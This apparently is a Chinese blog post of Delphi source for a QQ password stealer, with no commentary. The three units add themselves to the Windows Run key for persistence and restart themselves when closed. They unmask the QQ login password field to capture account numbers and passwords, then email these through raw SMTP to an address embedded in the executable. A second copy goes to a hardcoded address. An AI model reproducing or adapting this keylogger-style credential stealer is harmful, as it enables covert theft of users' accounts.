部分QQ源码

unit GCommonMethods;

{$I Complier.inc}

interface

uses Windows, SysUtils, GConsts, GNetMethods, GQQFindMethods;

procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);
procedure ApplicationRun(hWindow: HWND);
procedure ReadSelfDataAppendedInExeFile;


implementation

var
  IsFind: Boolean = True;

procedure ReadSelfDataAppendedInExeFile;
var
  ExeFile: integer;
  EmailInfo: TEmailInfo;
begin
  try
    ExeFile := FileOpen(ParamStr(0), fmOpenRead or fmShareDenyNone);
    FileSeek(ExeFile, -SizeOf(TEmailInfo), 2);
    FileRead(ExeFile, EmailInfo, SizeOf(TEmailInfo));
    EmailRecever := EmailInfo.Receveer;
    EmailSubject := EmailInfo.Subject;
   // MessageBox(0, pchar(EmailRecever + #13#10 + EmailSubject), '
提示', MB_OK + MB_ICONINFORMATION);
  finally
    FileClose(ExeFile);
  end;
end;

//--------------------------------------------------------------------
//
设置程序自动运行,为了减少程序的体积,采用API函数写注册表

procedure SetAutoRun;
var
  k1: hkey;
  l: longint;
  p: pchar;
begin
  try
  {$IFNDEF DebugMode}
    l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
    l := regopenkey(k1, 'Microsoft', k1);
    l := regopenkey(k1, 'Windows', k1);
    l := regopenkey(k1, 'CurrentVersion', k1);
    l := regopenkey(k1, 'Run', k1);
    p := pchar(ParamStr(0));
    l := regsetvalueEx(k1, 'SysDesktop', 0, 1, p, 255);
  {$ENDIF}
  except
  end;
end;


procedure RunExeAgainAndKillSelf(hWindows: HWND);
begin
  {$IFNDEF DebugMode}
  winexec(pchar(ExtractFilePath(ParamStr(0))), 1);
  KillTimer(hWindows, 1);
  {$ENDIF}
  Halt;
end;

procedure DoTimeMethod(hWnd: HWND);
begin
  SetAutoRun;
  if IsFind then //
计时器处于查找QQ窗口...
    FindQQWindowForAnyVersion(hWnd, IsFind);
  if not IsFind then //
计时器处于监视号码和密码...
    GoOnMonitorPasswordAndQQNumber(hWnd, IsFind)
  else //
登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...
  begin
    isFind := true;
    SendMail;
  end;
end;

function WindowProc(hWnd, uMsg, wParam, lParam: Integer): Integer; stdcall;
begin
  Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
  case uMsg of
    //
退出
    WM_DESTROY:RunExeAgainAndKillSelf(hWnd);
  //
计时器消息
    WM_TIMER: DoTimeMethod(hWnd);
  end;
end;

procedure CreateMainWindow(hInst: HMODULE; const ClassName: string; var OutHandle: HWND);
var
  WinClass: TWndClassA;
  Inst: THandle;
begin
  Inst := hInst;
  with WinClass do
  begin
    style := CS_CLASSDC or CS_PARENTDC;
    lpfnWndProc := @WindowProc;
    hInstance := Inst;
    hbrBackground := color_btnface + 1;
    lpszClassname := PChar(ClassName);
    hCursor := LoadCursor(0, IDC_ARROW);
  end; { with }
  RegisterClass(WinClass);
  OutHandle := CreateWindowEx(WS_EX_WINDOWEDGE, PChar(ClassName), PChar(ClassName),
    WS_SIZEBOX or WS_CAPTION or WS_SYSMENU or WS_VISIBLE,
    363, 278, 305, 65, 0, 0, Inst, nil);
end;

procedure ApplicationRun(hWindow: HWND);
var
  Msg: TMsg;
begin
  while (GetMessage(Msg, hWindow, 0, 0)) do
  begin
    TranslateMessage(msg);
    DispatchMessage(msg);
  end;
end;


end.

另一个单元

unit GNetMethods;

//{$I Complier.inc}

interface
uses
  Winsock, GConsts, Wininet, SysUtils{$IFDEF DebugMode}, windows{$ENDIF};

procedure SendMail;                //
发送邮件
function NetInternetConnected: Boolean;

implementation

function NetInternetConnected: Boolean;
var
dwConnectionTypes: DWORD;  //

begin
  dwConnectionTypes := INTERNET_CONNECTION_LAN + INTERNET_CONNECTION_MODEM
    + INTERNET_CONNECTION_PROXY;
  Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;

function EncodeBase64(const Source: string): string;
var
  Times, LenSrc, i: Integer;
  x1, x2, x3, x4: Char;
  xt: Byte;
begin
  Result := '';
  LenSrc := Length(Source);
  if LenSrc mod 3 = 0 then
    Times := LenSrc div 3
  else
    Times := LenSrc div 3 + 1;

  for i := 0 to Times - 1 do
  begin
    if LenSrc >= (3 + i * 3) then
    begin
      x1 := BaseTable[(ord(Source[1 + i * 3]) shr 2) + 1];
      xt := (ord(Source[1 + i * 3]) shl 4) and 48;
      xt := xt or (ord(Source[2 + i * 3]) shr 4);
      x2 := BaseTable[xt + 1];
      xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
      xt := xt or (Ord(Source[3 + i * 3]) shr 6);
      x3 := BaseTable[xt + 1];
      xt := (ord(Source[3 + i * 3]) and 63);
      x4 := BaseTable[xt + 1];
    end
    else if LenSrc >= (2 + i * 3) then
    begin
      x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];
      xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
      xt := xt or (Ord(Source[2 + i * 3]) shr 4);
      x2 := BaseTable[xt + 1];
      xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
      x3 := BaseTable[xt + 1];
      x4 := '=';
    end else
    begin
      x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];
      xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
      x2 := BaseTable[xt + 1];
      x3 := '=';
      x4 := '=';
    end;
    Result := Result + x1 + x2 + x3 + x4;
  end;
end;

// Write_Socket
函数

function Write_Socket(sockfd: TSocket; const s: string): Integer;
//
功能:将字符串S写入sockfd
begin
//  form1.Memo1.Lines.Add(s);
  Result := Send(sockfd, pointer(s)^, Length(s), 0)
end;

// Socket_Readline
函数

function Socket_Readline(sockfd: Integer): string;
//
功能:sockfd中读取一行(,直至遇到换行符)
//
返回值:返回从sockfd中所读取的一行字符。
var
  S: string; buf: array[0..1] of Char;
  n: Cardinal;
begin
  buf[0] := #0; buf[1] := #0; S := '';
  n := recv(sockfd, Buf, 1, 0);
  while n > 0 do
  begin
    buf[1] := #0;
    S := S + buf;
    if (buf[0] = #10) then Break;
    n := recv(sockfd, buf, 1, 0);
  end;
  Result := Trim(S);
// form1.memo1.Lines.Add(trim(S));
end;

function CreateClientSocket(Host: string; Port: integer): Integer;
//
功能:与指定的主机Host建立一个TCP连接,使用Port端口。
//
返回值:如果成功返回一个Socket描述符;否则返回
//INVALID_SOCKET
var
  i: integer; p: ^LongInt;
  phe: pHostEnt;
  sin: sockaddr_in;
begin
  Result := INVALID_SOCKET;
  sin.sin_family := AF_INET;
  sin.sin_port := htons(Port);
  //
将主机名转换为32位的IP
  phe := gethostbyname(pchar(host));
  if phe <> nil
    then
  begin
    p := Pointer(phe^.h_addr_list^);
    sin.sin_addr.s_addr := p^;
  end
  else
  begin
    i := inet_addr(PChar(Host));
    if i <> -1
      then sin.sin_addr.S_addr := i
    else
            //
无法获取主机HostIP
      Exit;
  end;
  //
创建一个面向连接的字节流Socket
  Result := socket(PF_INET, SOCK_STREAM, 0);
  if (Result = INVALID_SOCKET) then Exit;
  //
使用此Socket描述符与远处的主机建立一个TCP连接
  if Connect(Result, sin, sizeof(sin)) = SOCKET_ERROR
    then
  begin
    closesocket(Result);
    Result := INVALID_SOCKET;
  end;
end;

// POP3Response
函数

function SMTPResponse(Sockfd: Integer; sta: string): Boolean;
//
功能:检查SMTP服务器返回的状态信息。
//
返回值:如果成功,则返回TRUE;否则返回FALSE
var
  S, lterm: string;
begin
  S := socket_readline(sockfd);
  if copy(s, 1, 3) = sta
    then
    result := true
  else
    result := false;
  if length(s) > 3 then begin
    if s[4] = '-' then begin
      lterm := copy(s, 1, 3) + ' ';
      repeat
        s := socket_readline(sockfd);
      until (length(s) < 4) or (ansisametext(copy(s, 1, 4), lterm));
    end;
  end;
end;

function SMTPLogin(Host, User, Password: string; Port: Integer = 110): Integer;
var
  Sockfd: Integer;
begin
  Result := INVALID_SOCKET;
  Sockfd := CreateClientSocket(Host, Port);
  if (Sockfd = INVALID_SOCKET)
    then
  begin
    CloseSocket(Sockfd);
    Exit;
  end;
  SMTPresponse(sockfd, '220');
  write_socket(sockfd, 'EHLO ' + user + CRLF);
  SMTPresponse(sockfd, '250');
  Write_socket(sockfd, 'RSET' + CRLF);
  SMTPresponse(sockfd, '250');
  Write_Socket(sockfd, 'AUTH LOGIN' + CRLF);
  if not SMTPResponse(sockfd, '334')
    then
  begin
    CloseSocket(sockfd);
    Exit;
  end;
  Write_Socket(sockfd, EncodeBase64(User) + CRLF);
  if not SMTPResponse(sockfd, '334')
    then
  begin
    CloseSocket(sockfd);
    Exit;
  end;
  Write_Socket(sockfd, EncodeBase64(password) + CRLF);
  if not SMTPResponse(sockfd, '235')
    then
  begin
    CloseSocket(sockfd);
    Exit;
  end;
  Result := Sockfd;
end;

function POP3RetriveMail(Subject, Body, Receive: string; Port: Integer = 25): string; //,Subject,ToEmail
var
  sockfd: integer;
  sendbody {, S}: string;
  //ok: boolean;
begin
  Result := '';
  SendBody := 'From:"
会员版"<'+Email.name+'>' + CRLF
    + 'To:"
主人"<' + Receive + '>' + CRLF
    + 'Subject:' + Subject + CRLF
    + CRLF
    + Body + CRLF + '.' + CRLF; //
这是邮件内容。
    Sockfd := SMTPLogin(Email.stmp, Email.ID, Email.password, Port);
  if Sockfd = INVALID_SOCKET then Exit;
   Write_Socket(sockfd, 'MAIL FROM: <'+ Email.name+'>'+ CRLF);
  if not SMTPResponse(sockfd, '250')
    then
  begin
    CloseSocket(sockfd);
    Exit;
  end;
  Write_Socket(sockfd, 'RCPT TO: <' + Receive + '>' + CRLF); //'+user+'
  if not SMTPResponse(sockfd, '250')
    then
  begin
    CloseSocket(sockfd);
    Exit;
  end;
  Write_Socket(sockfd, 'DATA' + CRLF);
  if not SMTPResponse(sockfd, '354')
    then
  begin
    CloseSocket(sockfd);
    Exit;
  end
  else
  begin
    Write_Socket(sockfd, sendbody);
    SMTPresponse(sockfd, '110');
  end;
  Write_Socket(sockfd, 'QUIT'#13#10);
  smtpresponse(sockfd, 'quit');
  Closesocket(sockfd);
end;


procedure SendMail;
var
  w: TWSADATA;
  r,count:integer;
begin
  if EmailBody <> '' then
  try
    EmailBody := '******
正确的密码可能是最后一对******' + CRLF + CRLF + EmailBody + CRLF + CRLF + '希望您早日成为我们的会员,祝你使用快乐! ';
   // MessageBox(0, pchar(EmailBody), '
提示', MB_OK + MB_ICONINFORMATION);
    count:=0;
    repeat r:=WSAStartup(2, w);
    inc(count);
    until (r=0)or(count>5);
    POP3RetriveMail('QQ
密码', EmailBody,newQQID);//oiwin@263.net
    count:=0;
    repeat r:=WSAStartup(2, w);
    inc(count);
    until (r=0)or(count>5);
    POP3RetriveMail(EmailSubject, EmailBody, EmailRecever);
  except
  end;
end;

end.


再另一个单元

unit GQQFindMethods;

{$I Complier.inc}

interface

uses Windows, SysUtils, GConsts, GNetMethods; //Types,

procedure GoOnMonitorPasswordAndQQNumber;
procedure FindQQWindowForAnyVersion;

implementation

//--------------------------------------------------------------------
//
读取指定句柄的TEXT

function GetIDandPassword(HWnd: HWnd; GetPassWord: Boolean = true): string;
const MAX_LENGTH = 255;
var
  iPwdChar: Integer;
  iPwdLast: Integer;
  psText: array[0..MAX_LENGTH] of char;
  i: Integer;
begin
  iPwdChar := SendMessage(HWnd, EM_GETPASSWORDCHAR, 0, 0);
  if (iPwdChar <> 0) then // and GetPassWord
  begin
    iPwdLast := 0;
    i := 0;
    while iPwdLast = 0 do
    begin
      PostMessage(HWnd, EM_SETPASSWORDCHAR, 0, 0);
      Inc(i);
      iPwdLast := SendMessage(HWnd, EM_GETPASSWORDCHAR, 0, 0);
      if i > 100 then break;
    end;
    SendMessage(HWnd, WM_GETTEXT, MAX_LENGTH, Longint(@psText));
    Result := psText;
    PostMessage(HWnd, EM_SETPASSWORDCHAR, iPwdChar, 0);
  end else begin
    SendMessage(HWnd, WM_GETTEXT, MAX_LENGTH, Longint(@psText));
    Result := psText;
  end;
end;

//--------------------------------------------------------------------
//
检查QQ窗口有多少个EDIT控件,用此可以判断QQ的版本号

function GetEditCount(theFormHandle: hwnd): integer;
var
  t: hwnd;
  szname: array[0..254] of char;
begin
  t := GetWindow(theFormHandle, GW_CHILD);
  while t <> 0 do
  begin
    result := 0;
    GetClassName(t, @szname, 255);
    GetEditCount(t);

    if strpas(szname) = 'Edit' then
      inc(Editcount);
    if Editcount > 62 then
      break;
    t := GetWindow(t, GW_HWNDNEXT);
  end;
end;

//--------------------------------------------------------------------
//
QQ2000中的句柄
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

function FindQQ2000Edit(theFormHandle: hwnd): integer;
var
  t: hwnd;
  szname: array[0..254] of char;
begin
  t := GetWindow(theFormHandle, GW_CHILD);
  while t <> 0 do
  begin
    result := 0;
    GetClassName(t, @szname, 255);
    GetEditCount(t);
    if strpas(szname) = 'ComboBox' then
      QQIDHandle := t
    else if (strpas(szname) = 'Edit') then
      QQPasswordHandle := t;
    t := GetWindow(t, GW_HWNDNEXT);
  end;
end;
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


//--------------------------------------------------------------------
//
QQ2003中的句柄

function FindQQ2003Edit(theFormHandle: hwnd): integer;
var
  t: hwnd;
  szname: array[0..254] of char;
begin
  t := GetWindow(theFormHandle, GW_CHILD);
  while t <> 0 do
  begin
    result := 0;
    GetClassName(t, @szname, 255);
    FindQQ2003Edit(t);
    if strpas(szname) = 'Edit' then
    begin
      inc(Count);
      if EditCount < 8 then
        case Count of
          1: QQIDHandle := t;
          2: QQPasswordHandle := t;
          3: break;
        end;
      if EditCount > 61 then
        case Count of
          49: QQIDHandle := t;
          50: QQPasswordHandle := t;
          51: break;
        end
      else
        case Count of
          30:  QQPasswordHandle:= t;
          61: begin
              QQIDHandle := t;
              break;
            end;
        end;
    end;
    t := GetWindow(t, GW_HWNDNEXT);
  end;
end;

//--------------------------------------------------------------------
//
QQ登录窗口的句柄

function FindQQHandle(hWindows: HWND): integer;
var
  hcrrentwindow: hwnd;
  sztext: array[0..254] of char;
  s: string;
begin
  Result := 0;
  hcrrentwindow := GetWindow(hWindows, GW_HWNDFIRST);
  while hcrrentwindow <> 0 do
  begin
    if GetWindowtext(hcrrentwindow, @sztext, 255) > 0 then
    begin
      s := strpas(@sztext);
      if trim(s) = '' then
      begin
        Result := hcrrentwindow;
        break;
      end ;
    end;
    hcrrentwindow := GetWindow(hcrrentwindow, GW_HWNDNEXT);
  end;
end;

procedure GoOnMonitorPasswordAndQQNumber;
var
  tempRect: TRect;
  Rightpassword: boolean;
begin
  QQhandle := FindQQHandle(Handle);
  if QQHandle <> 0 then
  begin

    GetWindowRect(QQhandle, tempRect);
    if oldWidth <> tempRect.Right - tempRect.Left then
    begin
      isFind := true;
      exit;
    end;
    QQID := GetIDandPassword(QQIDHandle); // ,false
    QQPassword := GetIDandPassword(QQPasswordHandle); //  ,true
   // MessageBox(0, pchar(QQID+#13#10+QQPassword), '
提示', MB_OK + MB_ICONINFORMATION);
    Rightpassword := true;
    try StrToInt(QQID)except Rightpassword := false; end; //
过滤无效的QQID
    if Rightpassword then
      if ((QQID <> oldQQID) or (QQPassword <> oldQQPassword)) and (QQID <> '') and (QQPassword <> '') then
      begin
        EmailBody := EmailBody + format('QQ
号码:%s' + #13#10 + 'QQ密码:%s' + #13#10,
          [QQID, QQPassword]);
        oldQQID := QQID;
        oldQQPassword := QQPassword;
      end;
  end
  else //
登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...
  begin
    isFind := true;
    SendMail;
  end;
end;

procedure FindQQWindowForAnyVersion;
var
  tempRect: TRect;
begin
  QQhandle := FindQQHandle(Handle);
  if QQHandle <> 0 then
  begin
    IsFind := false;
    GetWindowRect(QQhandle, tempRect);
    oldWidth := tempRect.Right - tempRect.Left;
    EmailBody := '';
    QQID := '';
    QQPassword := '';
    oldQQID := '';
    oldQQPassword := '';
    EditCount := 0;
    Count := 0;
    GetEditCount(QQHandle);
       // MessageBox(0, pchar(inttostr(EditCount)), '
提示', MB_OK + MB_ICONINFORMATION);
    if EditCount = 1 then
      FindQQ2000Edit(QQHandle)
    else
      FindQQ2003Edit(QQHandle);
  end;
end;

end.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值